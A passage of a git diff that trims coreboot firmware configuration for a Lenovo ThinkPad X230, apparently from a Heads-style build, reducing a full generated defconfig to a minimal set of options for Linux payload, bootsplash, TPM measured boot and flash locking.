-CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-x230-maximized.config b/config/coreboot-x230-maximized.config index 6a69efc11..fba4bdc2f 100644 --- a/config/coreboot-x230-maximized.config +++ b/config/coreboot-x230-maximized.config @@ -1,703 +1,34 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -# CONFIG_USE_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y # CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_FAMILY="ThinkPad X230" -CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X230" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="lenovo/x230" -CONFIG_VGA_BIOS_ID="8086,0166" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" CONFIG_NO_POST=y -CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0xBE4FFF -CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 -CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 -CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VARIANT_DIR="x230" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_DRAM_RESET_GATE_GPIO=10 -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfefe0000 -CONFIG_DCACHE_RAM_SIZE=0x20000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y # CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" CONFIG_HAVE_IFD_BIN=y -CONFIG_PCIEXP_HOTPLUG_BUSES=8 -CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 -# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set -# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_S230U is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set -# CONFIG_BOARD_LENOVO_T420 is not set -# CONFIG_BOARD_LENOVO_T420S is not set -# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set -# CONFIG_BOARD_LENOVO_T530 is not set -# CONFIG_BOARD_LENOVO_W530 is not set -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set -# CONFIG_BOARD_LENOVO_X220 is not set -# CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set CONFIG_BOARD_LENOVO_X230=y -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set -# CONFIG_BOARD_LENOVO_X230_EDP is not set -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_DRIVER_LENOVO_SERIALS=y -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="LEN0020" -CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" -CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -CONFIG_COREBOOT_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=12288 -CONFIG_ROM_SIZE=0x00c00000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x100000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 -CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 -CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_INTEL_MODEL_206AX=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_TIMEBASE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# -CONFIG_USE_NATIVE_RAMINIT=y -CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y -# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set -# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set # CONFIG_RAMINIT_ENABLE_ECC is not set - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y -CONFIG_SOUTHBRIDGE_INTEL_C216=y -# CONFIG_HIDE_MEI_ON_ERROR is not set -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x04000000 # CONFIG_PCI_ALLOW_BUS_MASTER is not set -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y -# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR3=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -# CONFIG_MRC_SETTINGS_PROTECT is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Ironlake" -CONFIG_GFX_GMA_PCH="Cougar_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_DRIVERS_RICOH_RCE822=y -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y 